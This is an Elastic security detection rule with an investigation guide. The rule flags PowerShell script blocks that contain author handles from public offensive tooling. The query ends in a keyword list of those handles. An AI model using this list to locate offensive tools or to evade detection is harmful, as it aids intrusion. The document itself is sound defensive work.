Loading

Potential PowerShell HackTool Script by Author

Identifies PowerShell script block content containing known offensive-tool author handles or attribution strings (for example, public tool author names). Attackers often run public PowerShell tooling with minimal changes, leaving author artifacts in comments or headers.

Rule type: query
Rule indices:

  • winlogbeat-*
  • logs-windows.powershell*

Rule Severity: high
Risk Score: 73
Runs every:
Searches indices from: now-9m
Maximum alerts per execution: 100
References:

Tags:

  • Domain: Endpoint
  • OS: Windows
  • Use Case: Threat Detection
  • Tactic: Execution
  • Data Source: PowerShell Logs
  • Resources: Investigation Guide

Version: 108
Rule authors:

  • Elastic

Rule license: Elastic License v2

PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). Setup instructions: https://ela.st/powershell-logging-setup

Disclaimer: This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies.

This rule Detects PowerShell scripts that contains attribution strings commonly found in publicly available offensive PowerShell tooling. These artifacts are often present in headers or comment blocks but may also appear within embedded modules or minimally modified scripts. Use the script block content and metadata to reconstruct what ran, determine the likely source, and scope related activity across hosts and users.

  • user.name, user.domain, user.id: Account execution context for correlation, prioritization, and scoping.
  • host.name, host.id: Host execution context for correlation, prioritization, and scoping.
  • powershell.file.script_block_text: Script block content that matched the detection logic.
  • powershell.file.script_block_id, powershell.sequence, powershell.total: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events.
  • file.path, file.directory, file.name: File-origin context when the script block is sourced from an on-disk file.
  • powershell.file.script_block_length: Script block length (size) context.

  • Capture basic context and triage priority:

    • Record @timestamp, host.name/host.id, and user.name/user.domain/user.id.
    • Use host and identity context (asset owner, role, and expected admin activity) to determine whether this execution is likely authorized for the alerted user and endpoint.

  • Reconstruct the complete script block before making an assessment:

    • Review powershell.file.script_block_text and identify the specific author handle or attribution string and its surrounding lines.
    • If the content appears truncated or the event indicates multiple parts, use powershell.file.script_block_id together with powershell.sequence and powershell.total to assemble the full script in the correct order. Confirm all sequence parts are present.
    • Use powershell.file.script_block_length as additional context (for example, to distinguish short snippets from large modules) and preserve the reconstructed content for evidence and hunting.

  • Determine the likely source of the script content:

    • If file.path/file.name (and file.directory) are present, treat this as file-backed execution and note whether the location and filename align with approved script storage or deployment paths for that host.
    • If file.path is a network share (UNC) or otherwise unusual for the host, treat it as higher risk until validated.
    • If file fields are absent, treat the script block as inline, interactive, or dynamically generated content. Prioritize review for scripts that fetch, decode, or build additional code at runtime.
    • If a file path is present, pivot on file.path and file.name to identify other executions or duplicates of the same script across users and hosts.

  • Assess intent from the content and extract observables:

    • Determine whether the match is limited to comments/metadata or is accompanied by functional code.
    • Look for behaviors that commonly accompany offensive PowerShell tooling, such as broad host or domain discovery, credential access helpers, privilege manipulation, remote execution primitives, persistence logic, or payload delivery mechanisms.
    • Extract and record observables embedded in powershell.file.script_block_text (for example, domains, IPs, URLs, hostnames, usernames, file paths, or registry paths) and use them to pivot for additional activity.

  • Scope and correlate related activity:

    • Search for additional script block events containing the same author handle within powershell.file.script_block_text across the environment. Start with the same user.id and host.id, then expand to other users and hosts.
    • On the same host.name, review other script block events from the same user.name in the minutes before and after the alert to identify setup actions (module imports, function definitions) and follow-on execution.
    • If other endpoint telemetry is available, correlate around @timestamp on the same host to identify:
      • The PowerShell host process and any parent process responsible for launching it.
      • Network connections, file writes, or registry changes consistent with the script content and extracted observables.
      • Authentication activity for user.name that could explain the session context (interactive use vs remote access).
  • Legitimate administrative scripts may incorporate third-party modules that include author headers; these are typically file-backed and executed from expected locations or managed repositories.
  • False positives are more likely when the author string is isolated within comments and there is minimal additional script functionality; they are less likely when the script implements operational capabilities aligned with offensive tooling.

  • If activity is unauthorized or suspicious:

    • Preserve the full reconstructed script content (all parts) and retain supporting context: powershell.file.script_block_id, host.id, host.name, user.id, user.name, user.domain, and @timestamp.
    • Scope impact by searching for the same author handle and extracted observables across PowerShell script block logs to identify additional affected hosts and accounts.
    • If file.path is present, locate and quarantine the referenced script per your procedures and review the endpoint for other copies that share the same file.name.
    • Apply containment measures appropriate to the risk (for example, isolate the endpoint from the network) if the content indicates credential access, remote execution, or payload delivery.
    • Review the initiating account for compromise and take credential and access control actions consistent with your incident response process.

  • If activity is authorized:

    • Document the activity (owner, timeframe, intended hosts) and validate alignment with change management or testing approvals.
    • Ensure the SOC has an up-to-date list of approved users and endpoints for testing. Consider environment-specific tuning to reduce recurring noise while preserving coverage elsewhere.

  • Post-incident hardening:

    • Verify PowerShell logging coverage and retention are sufficient to reconstruct multi-part scripts during future investigations.
    • Use observed handles and extracted observables to perform retrospective searches for earlier executions and related activity patterns in historical script block logs.
host.os.type:windows and event.category:process and
  powershell.file.script_block_text : (
      "mattifestation" or "JosephBialek" or
      "harmj0y" or "ukstufus" or
      "SecureThisShit" or "Matthew Graeber" or
      "secabstraction" or "mgeeky" or
      "oddvarmoe" or "am0nsec" or
      "obscuresec" or "sixdub" or
      "darkoperator" or "funoverip" or
      "rvrsh3ll" or "kevin_robertson" or
      "dafthack" or "r4wd3r" or
      "danielhbohannon" or "OneLogicalMyth" or
      "cobbr_io" or "xorrior" or
      "PetrMedonos" or "citronneur" or
      "eladshamir" or "RastaMouse" or
      "enigma0x3" or "FuzzySec" or
      "424f424f" or "jaredhaight" or
      "fullmetalcache" or "Hubbl3" or
      "curi0usJack" or "Cx01N" or
      "itm4n" or "nurfed1" or
      "cfalta" or "Scott Sutherland" or
      "_nullbind" or "_tmenochet" or
      "jaredcatkinson" or "ChrisTruncer" or
      "monoxgas" or "TheRealWover" or
      "splinter_code"
  ) and
  not powershell.file.script_block_text : ("Get-UEFIDatabaseSigner" or "Posh-SSH")

Framework: MITRE ATT&CK